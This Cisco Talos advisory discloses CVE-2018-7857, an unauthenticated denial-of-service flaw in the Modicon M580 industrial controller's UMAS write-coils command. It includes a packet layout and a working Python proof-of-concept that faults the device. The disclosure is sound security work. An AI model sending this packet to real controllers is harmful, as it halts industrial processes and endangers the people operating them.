CVE-2018-7857
An exploitable denial-of-service vulnerability exists in the UMAS write system coils and holding registers functionality of the Schneider Electric Modicon M580 Programmable Automation Controller, firmware version SV2.70. A specially crafted UMAS command can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability.
Schneider Electric Modicon M580 BMEP582040 SV2.70
https://www.schneider-electric.com/en/work/campaign/m580-epac/
7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE-248: Uncaught Exception
The Modicon M580 is the latest in Schneider Electric’s Modicon line of programmable automation controllers. The device contains a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus and a management protocol referred to as “UMAS.”
When attempting to write arbitrary bits or blocks to the Modicon M580, the command WRITE_SYSTEM_COILS_AND_HOLDING_REGISTERS can be used. It is possible to write beyond the end of a coil or register through manipulation of the offset field, causing a non-recoverable fault in some cases.
When object type 0x21 is requested via a WRITE_SYSTEM_COILS_AND_HOLDING_REGISTERS command with an offset value of 0xffffff, the device enters a non-recoverable fault state.
The structure of a WRITE_SYSTEM_COILS_AND_HOLDING_REGISTERS command takes a form similar to:
0 1 2 3 4 5 6 7 8 9 a b c d e f
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D | E | F | G | H | I | J
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
1 < J continued >
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
A --> Modbus Function Code (0x5A)
B --> Session
C --> UMAS Function Code (0x25)
D --> Unknown (0xff)
E --> Unknown (0x00)
F --> Object Type (0x21)
G --> Offset (0x00ffffff)
H --> Unknown (0x0000)
I --> Number of Coils (0x0000)
J --> Data
In the non-recoverable fault state, the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.
import socket
from scapy.all import Raw
from scapy.contrib.modbus import ModbusADURequest
from scapy.contrib.modbus import ModbusADUResponse
def send_message(sock, umas, data=None, wait_for_response=True):
if data == None:
packet = ModbusADURequest(transId=1)/umas
else:
packet = ModbusADURequest(transId=1)/umas/data
msg = "%s" % Raw(packet)
resp = ""
sock.send(msg)
if wait_for_response:
resp = sock.recv(2048)
return resp
def main():
rhost = "192.168.10.1"
rport = 502
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
s.connect((rhost, rport))
mbtcp_fnc = "\x5a"
init_session = "\x00"
umas_fnc = "\x25"
unknown1 = "\xff"
unknown2 = "\x00"
object_type = "\x21"
offset = "\xff\xff\xff\x00"
unknown = "\x00\x00"
num_coils = "\x00\x00"
data = "\x00" * 10
umas = "%s%s%s%s%s%s%s%s%s" % (mbtcp_fnc, init_session, umas_fnc, unknown1, unknown2, object_type, offset, unknown, num_coils)
res = send_message(sock=s, umas=umas, data=data, wait_for_response=False)
# clean up
s.close()
if __name__ == '__main__':
main()
2019-01-29 - Vendor Disclosure
2019-04-17 - 90 day notice, extended public disclosure to 2019-05-29
2019-04-19 - Vendor provided timeline estimates for fixes/disclosures for multiple issues
2019-05-14 - Vendor patched
2019-05-20 - Vendor confirmed CVE assignment
2019-06-10 - Public Release
Discovered by Jared Rittle of Cisco Talos